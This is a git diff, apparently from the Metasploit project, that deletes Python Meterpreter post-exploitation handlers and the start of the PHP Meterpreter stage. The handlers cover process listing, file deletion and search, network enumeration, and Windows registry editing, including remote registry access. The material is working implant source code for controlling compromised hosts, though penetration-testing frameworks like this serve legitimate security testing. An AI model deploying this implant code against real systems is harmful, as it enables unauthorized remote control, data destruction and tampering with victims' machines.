ctypes.byref(is_wow64)): - if is_wow64.value: - parch = PROCESS_ARCH_X86 - pgroup = bytes() - pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID) - pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID) - pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username) - pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile) - pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path) - pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch) - response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) - result = k32.Process32Next(proc_snap, ctypes.byref(pe32)) - k32.CloseHandle(proc_h) - k32.CloseHandle(proc_snap) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_sys_process_get_processes(request, response): - if os.path.isdir('/proc'): - return stdapi_sys_process_get_processes_via_proc(request, response) - elif has_windll: - return stdapi_sys_process_get_processes_via_windll(request, response) - else: - return stdapi_sys_process_get_processes_via_ps(request, response) - return ERROR_FAILURE, response - -@meterpreter.register_function -def stdapi_fs_chdir(request, response): - wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - os.chdir(unicode(wd)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete(request, response): - file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] - os.unlink(unicode(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete_dir(request, response): - dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - dir_path = unicode(dir_path) - if os.path.islink(dir_path): - del_func = os.unlink - else: - del_func = shutil.rmtree - del_func(dir_path) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_delete_file(request, response): - file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - os.unlink(unicode(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_file_expand_path(request, response): - path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - if has_windll: - path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8')) - path_out = (ctypes.c_char * 4096)() - path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out)) - result = str(ctypes.string_at(path_out)) - elif path_tlv == '%COMSPEC%': - result = '/bin/sh' - elif path_tlv in ['%TEMP%', '%TMP%']: - result = '/tmp' - else: - result = os.getenv(path_tlv, path_tlv) - if not result: - return ERROR_FAILURE, response - response += tlv_pack(TLV_TYPE_FILE_PATH, result) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_file_move(request, response): - oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] - newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - os.rename(unicode(oldname), unicode(newname)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_getwd(request, response): - if hasattr(os, 'getcwdu'): - wd = os.getcwdu() - else: - wd = os.getcwd() - response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_ls(request, response): - path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - path = os.path.abspath(unicode(path)) - glob = '*' - if any((c in ['*','[','?']) for c in path): - glob = os.path.basename(path) - path = os.path.dirname(path) - for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)): - file_path = os.path.join(path, file_name) - response += tlv_pack(TLV_TYPE_FILE_NAME, file_name) - response += tlv_pack(TLV_TYPE_FILE_PATH, file_path) - response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path)) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_md5(request, response): - try: - import hashlib - m = hashlib.md5() - except ImportError: - import md5 - m = md5.new() - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_mkdir(request, response): - dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value'] - dir_path = unicode(dir_path) - if not os.path.isdir(dir_path): - os.mkdir(dir_path) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_search(request, response): - search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.') - search_root = ('' or '.') # sometimes it's an empty string - search_root = unicode(search_root) - glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value'] - recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value'] - if recurse: - for root, dirs, files in os.walk(search_root): - for f in filter(lambda f: fnmatch.fnmatch(f, glob), files): - file_tlv = '' - file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root) - file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f) - file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size) - response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv) - else: - for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)): - file_tlv = '' - file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root) - file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f) - file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size) - response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_separator(request, response): - response += tlv_pack(TLV_TYPE_STRING, os.sep) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_sha1(request, response): - try: - import hashlib - m = hashlib.sha1() - except ImportError: - import sha - m = sha.new() - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest()) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_fs_stat(request, response): - path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - st_buf = get_stat_buffer(unicode(path)) - response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_net_config_get_interfaces(request, response): - if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'): - interfaces = stdapi_net_config_get_interfaces_via_netlink() - elif has_osxsc: - interfaces = stdapi_net_config_get_interfaces_via_osxsc() - elif has_windll: - interfaces = stdapi_net_config_get_interfaces_via_windll() - else: - return ERROR_FAILURE, response - for iface_info in interfaces: - iface_tlv = bytes() - iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown')) - iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00')) - if 'mtu' in iface_info: - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu']) - if 'flags' in iface_info: - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags']) - iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index']) - for address in iface_info.get('addrs', []): - iface_tlv += tlv_pack(TLV_TYPE_IP, address[1]) - if isinstance(address[2], (int, long)): - iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2]) - else: - iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2]) - response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv) - return ERROR_SUCCESS, response - -def stdapi_net_config_get_interfaces_via_netlink(): - rta_align = lambda l: l+3 & ~3 - iface_flags = { - 0x0001: 'UP', - 0x0002: 'BROADCAST', - 0x0008: 'LOOPBACK', - 0x0010: 'POINTTOPOINT', - 0x0040: 'RUNNING', - 0x0100: 'PROMISC', - 0x1000: 'MULTICAST' - } - iface_flags_sorted = list(iface_flags.keys()) - # Dictionaries don't maintain order - iface_flags_sorted.sort() - interfaces = {} - - responses = netlink_request(RTM_GETLINK) - for res_data in responses: - iface = cstruct_unpack(IFINFOMSG, res_data) - iface_info = {'index':iface.index} - flags = [] - for flag in iface_flags_sorted: - if (iface.flags & flag): - flags.append(iface_flags[flag]) - iface_info['flags'] = ' '.join(flags) - cursor = ctypes.sizeof(IFINFOMSG) - while cursor < len(res_data): - attribute = cstruct_unpack(RTATTR, res_data[cursor:]) - at_len = attribute.len - attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] - cursor += rta_align(at_len) - - if attribute.type == IFLA_ADDRESS: - iface_info['hw_addr'] = attr_data - elif attribute.type == IFLA_IFNAME: - iface_info['name'] = attr_data - elif attribute.type == IFLA_MTU: - iface_info['mtu'] = struct.unpack('<I', attr_data)[0] - interfaces[iface.index] = iface_info - - responses = netlink_request(RTM_GETADDR) - for res_data in responses: - iface = cstruct_unpack(IFADDRMSG, res_data) - if not iface.family in (socket.AF_INET, socket.AF_INET6): - continue - iface_info = interfaces.get(iface.index, {}) - cursor = ctypes.sizeof(IFADDRMSG) - while cursor < len(res_data): - attribute = cstruct_unpack(RTATTR, res_data[cursor:]) - at_len = attribute.len - attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)] - cursor += rta_align(at_len) - - if attribute.type == IFA_ADDRESS: - nm_bits = iface.prefixlen - if iface.family == socket.AF_INET: - netmask = struct.pack('!I', calculate_32bit_netmask(nm_bits)) - else: - if nm_bits >= 96: - netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits)) - elif nm_bits >= 64: - netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0) - elif nm_bits >= 32: - netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0) - else: - netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0) - addr_list = iface_info.get('addrs', []) - addr_list.append((iface.family, attr_data, netmask)) - iface_info['addrs'] = addr_list - elif attribute.type == IFA_LABEL: - iface_info['name'] = attr_data - interfaces[iface.index] = iface_info - return interfaces.values() - -def stdapi_net_config_get_interfaces_via_osxsc(): - ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None) - entities = [] - entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4)) - entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6)) - patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks) - values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns) - interfaces = {} - for key, value in values.items(): - iface_name = key.split('/')[3] - iface_info = interfaces.get(iface_name, {}) - iface_info['name'] = str(iface_name) - if key.endswith('IPv4'): - family = socket.AF_INET - elif key.endswith('IPv6'): - family = socket.AF_INET6 - else: - continue - iface_addresses = iface_info.get('addrs', []) - for idx in range(len(value['Addresses'])): - if family == socket.AF_INET: - iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx]))) - else: - iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx])) - iface_info['addrs'] = iface_addresses - interfaces[iface_name] = iface_info - for iface_ref in osxsc.SCNetworkInterfaceCopyAll(): - iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref) - if not iface_name in interfaces: - iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref) - if not iface_type in ['Ethernet', 'IEEE80211']: - continue - interfaces[iface_name] = {'name': str(iface_name)} - iface_info = interfaces[iface_name] - mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1] - iface_info['mtu'] = mtu - hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref) - if hw_addr: - hw_addr = hw_addr.replace(':', '') - hw_addr = hw_addr.decode('hex') - iface_info['hw_addr'] = hw_addr - ifnames = list(interfaces.keys()) - ifnames.sort() - for iface_name, iface_info in interfaces.items(): - iface_info['index'] = ifnames.index(iface_name) - return interfaces.values() - -def stdapi_net_config_get_interfaces_via_windll(): - iphlpapi = ctypes.windll.iphlpapi - if not hasattr(iphlpapi, 'GetAdaptersAddresses'): - return stdapi_net_config_get_interfaces_via_windll_mib() - Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST) - AdapterAddresses = ctypes.c_void_p() - SizePointer = ctypes.c_ulong() - SizePointer.value = 0 - iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer)) - AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)() - iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer)) - AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value) - AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses) - if AdapterAddresses.u.s.Length <= 72: - return stdapi_net_config_get_interfaces_via_windll_mib() - win_version = windll_GetVersion() - interfaces = [] - pAdapterAddresses = ctypes.byref(AdapterAddresses) - while pAdapterAddresses: - AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses) - pAdapterAddresses = AdapterAddresses.Next - pFirstPrefix = AdapterAddresses.FirstPrefix - iface_info = {} - iface_info['index'] = AdapterAddresses.u.s.IfIndex - if AdapterAddresses.PhysicalAddressLength: - iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength) - iface_desc = ctypes.wstring_at(AdapterAddresses.Description) - if not is_str(iface_desc): - iface_desc = str(iface_desc) - iface_info['name'] = iface_desc - iface_info['mtu'] = AdapterAddresses.Mtu - pUniAddr = AdapterAddresses.FirstUnicastAddress - while pUniAddr: - UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr) - pUniAddr = UniAddr.Next - address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr) - if not address.sa_family in (socket.AF_INET, socket.AF_INET6): - continue - prefix = 0 - if win_version.dwMajorVersion >= 6: - prefix = UniAddr.OnLinkPrefixLength - elif pFirstPrefix: - ip_adapter_prefix = 'QPPIL' - prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix)) - prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4] - iface_addresses = iface_info.get('addrs', []) - if address.sa_family == socket.AF_INET: - iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix)) - else: - iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix)) - iface_info['addrs'] = iface_addresses - interfaces.append(iface_info) - return interfaces - -def stdapi_net_config_get_interfaces_via_windll_mib(): - iphlpapi = ctypes.windll.iphlpapi - table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))() - pdwSize = ctypes.c_ulong() - pdwSize.value = ctypes.sizeof(table) - if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0): - return None - interfaces = [] - table_data = ctypes.string_at(table, pdwSize.value) - entries = struct.unpack('I', table_data[:4])[0] - table_data = table_data[4:] - for i in range(entries): - addrrow = cstruct_unpack(MIB_IPADDRROW, table_data) - ifrow = MIB_IFROW() - ifrow.dwIndex = addrrow.dwIndex - if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0: - continue - iface_info = {} - table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):] - iface_info['index'] = addrrow.dwIndex - iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))] - if ifrow.dwPhysAddrLen: - iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen) - if ifrow.dwDescrLen: - iface_info['name'] = ifrow.bDescr - iface_info['mtu'] = ifrow.dwMtu - interfaces.append(iface_info) - return interfaces - -@meterpreter.register_function -def stdapi_net_resolve_host(request, response): - hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value'] - family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value'] - if family == WIN_AF_INET: - family = socket.AF_INET - elif family == WIN_AF_INET6: - family = socket.AF_INET6 - else: - raise Exception('invalid family') - result = resolve_host(hostname, family) - response += tlv_pack(TLV_TYPE_IP, result['packed_address']) - response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family']) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_net_resolve_hosts(request, response): - family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value'] - if family == WIN_AF_INET: - family = socket.AF_INET - elif family == WIN_AF_INET6: - family = socket.AF_INET6 - else: - raise Exception('invalid family') - for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME): - hostname = hostname['value'] - try: - result = resolve_host(hostname, family) - except socket.error: - result = {'family':family, 'packed_address':''} - response += tlv_pack(TLV_TYPE_IP, result['packed_address']) - response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family']) - return ERROR_SUCCESS, response - -@meterpreter.register_function -def stdapi_net_socket_tcp_shutdown(request, response): - channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] - how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR) - channel = meterpreter.channels[channel_id] - channel.shutdown(how) - return ERROR_SUCCESS, response - -def _wreg_close_key(hkey): - ctypes.windll.advapi32.RegCloseKey(hkey) - -@meterpreter.register_function_windll -def stdapi_registry_close_key(request, response): - _wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value']) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_registry_create_key(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] - base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) - permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) - res_key = ctypes.c_void_p() - if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_HKEY, res_key.value) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_registry_delete_key(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] - base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) - flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value'] - if (flags & DELETE_KEY_FLAG_RECURSIVE): - result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key)) - else: - result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key)) - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_delete_value(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] - value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) - result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name)) - return result, response - -def _wreg_enum_key(request, response, hkey): - ERROR_MORE_DATA = 0xea - ERROR_NO_MORE_ITEMS = 0x0103 - name = (ctypes.c_char * 4096)() - index = 0 - tries = 0 - while True: - result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name)) - if result == ERROR_MORE_DATA: - if tries > 3: - break - name = (ctypes.c_char * (ctypes.sizeof(name) * 2)) - tries += 1 - continue - elif result == ERROR_NO_MORE_ITEMS: - result = ERROR_SUCCESS - break - elif result != ERROR_SUCCESS: - break - tries = 0 - response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name)) - index += 1 - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_enum_key(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _wreg_enum_key(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_enum_key_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _wreg_enum_key(request, response, hkey) - _wreg_close_key(hkey) - return ret - -def _wreg_enum_value(request, response, hkey): - ERROR_MORE_DATA = 0xea - ERROR_NO_MORE_ITEMS = 0x0103 - name = (ctypes.c_char * 4096)() - name_sz = ctypes.c_uint32() - index = 0 - tries = 0 - while True: - name_sz.value = ctypes.sizeof(name) - result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None) - if result == ERROR_MORE_DATA: - if tries > 3: - break - name = (ctypes.c_char * (ctypes.sizeof(name) * 3)) - tries += 1 - continue - elif result == ERROR_NO_MORE_ITEMS: - result = ERROR_SUCCESS - break - elif result != ERROR_SUCCESS: - break - tries = 0 - response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name)) - index += 1 - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_enum_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _wreg_enum_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_enum_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _wreg_enum_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -@meterpreter.register_function_windll -def stdapi_registry_load_key(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) - sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY) - file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH) - result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) - return result, response - -def _wreg_open_key(request): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] - base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) - permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) - handle_id = ctypes.c_void_p() - if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS: - return error_result_windows(), 0 - return ERROR_SUCCESS, handle_id.value - -@meterpreter.register_function_windll -def stdapi_registry_open_key(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - response += tlv_pack(TLV_TYPE_HKEY, hkey) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_registry_open_remote_key(request, response): - target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value'] - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - result_key = ctypes.c_void_p() - if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_HKEY, result_key.value) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_registry_query_class(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - value_data = (ctypes.c_char * 4096)() - value_data_sz = ctypes.c_uint32() - value_data_sz.value = ctypes.sizeof(value_data) - if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) - return ERROR_SUCCESS, response - -def _query_value(request, response, hkey): - value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] - value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) - value_type = ctypes.c_uint32() - value_type.value = 0 - value_data = (ctypes.c_ubyte * 4096)() - value_data_sz = ctypes.c_uint32() - value_data_sz.value = ctypes.sizeof(value_data) - result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) - if result == ERROR_SUCCESS: - response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) - if value_type.value == winreg.REG_SZ: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE) - elif value_type.value == winreg.REG_DWORD: - value = value_data[:4] - value.reverse() - if sys.version_info[0] < 3: - value = ''.join(map(chr, value)) - else: - value = bytes(value) - response += tlv_pack(TLV_TYPE_VALUE_DATA, value) - else: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value)) - return ERROR_SUCCESS, response - return error_result_windows(), response - -@meterpreter.register_function_windll -def stdapi_registry_query_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _query_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_query_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _query_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -def _set_value(request, response, hkey): - value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] - value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) - value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] - value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] - result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data)) - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_set_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _set_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_set_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _set_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -@meterpreter.register_function_windll -def stdapi_registry_unload_key(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] - result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key) - return result, response diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php deleted file mode 100755 index b772b3e94c..0000000000 --- a/data/meterpreter/meterpreter.php +++ /dev/null @@ -1,1249 +0,0 @@ -//<?php - -# Everything that needs to be global has to be made so explicitly so we can run -# inside a call to create_user_func($user_input); - -# global list of channels -if (!isset($GLOBALS['channels'])) { - $GLOBALS['channels'] = array(); -} - -# global mapping of channels to channelized processes. This is how we know -# if we need to kill a process when it's channel has been closed. -if (!isset($GLOBALS['channel_process_map'])) { - $GLOBALS['channel_process_map'] = array(); -} - -# global resource map. This is how we know whether to use socket or stream -# functions on a channel. -if (!isset($GLOBALS['resource_type_map'])) { - $GLOBALS['resource_type_map'] = array(); -} - -# global map of sockets to the associated peer host. -if (!isset($GLOBALS['udp_host_map'])) { - $GLOBALS['udp_host_map'] = array(); -} - -# global list of resources we need to watch in the main select loop -if (!isset($GLOBALS['readers'])) { - $GLOBALS['readers'] = array(); -} - -# global list of extension commands -if (!isset($GLOBALS['commands'])) { - $GLOBALS['commands'] = array("core_loadlib", "core_machine_id", "core_uuid"); -} - -function register_command($c) { - global $commands; - if (! in_array($c, $commands)) { - array_push($commands, $c); - } -} - -function my_print($str) { - #error_log($str); -} - -my_print("Evaling main meterpreter stage"); - -# Be very careful not to put a # anywhere that isn't a comment (e.g. inside a -# string) as the comment remover will completely break this payload - -function dump_array($arr, $name=null) { - if (is_null($name)) { - $name = "Array"; - } - my_print(sprintf("$name (%s)", count($arr))); - foreach ($arr as $key => $val) { - if (is_array($val)) { - # recurse - dump_array($val, "{$name}[{$key}]"); - } else { - my_print(sprintf(" $key ($val)")); - } - } -} -function dump_readers() { - global $readers; - dump_array($readers, 'Readers'); -} -function dump_resource_map() { - global $resource_type_map; - dump_array($resource_type_map, 'Resource map'); -} -function dump_channels($extra="") { - global $channels; - dump_array($channels, 'Channels '.$extra); -} - - -# Doesn't exist before php 4.3 -if (!function_exists("file_get_contents")) { -function file_get_contents($file) { - $f = @fopen($file,"rb"); - $contents = false; - if ($f) { - do { $contents .= fgets($f); } while (!feof($f)); - } - fclose($f); - return $contents; -} -} - -# Renamed in php 4.3 -if (!function_exists('socket_set_option')) { -function socket_set_option($sock, $type, $opt, $value) { - socket_setopt($sock, $type, $opt, $value); -} -} - -# -# Payload definitions -# -define("PAYLOAD_UUID", ""); - -# -# Constants -# -define("PACKET_TYPE_REQUEST", 0); -define("PACKET_TYPE_RESPONSE", 1); 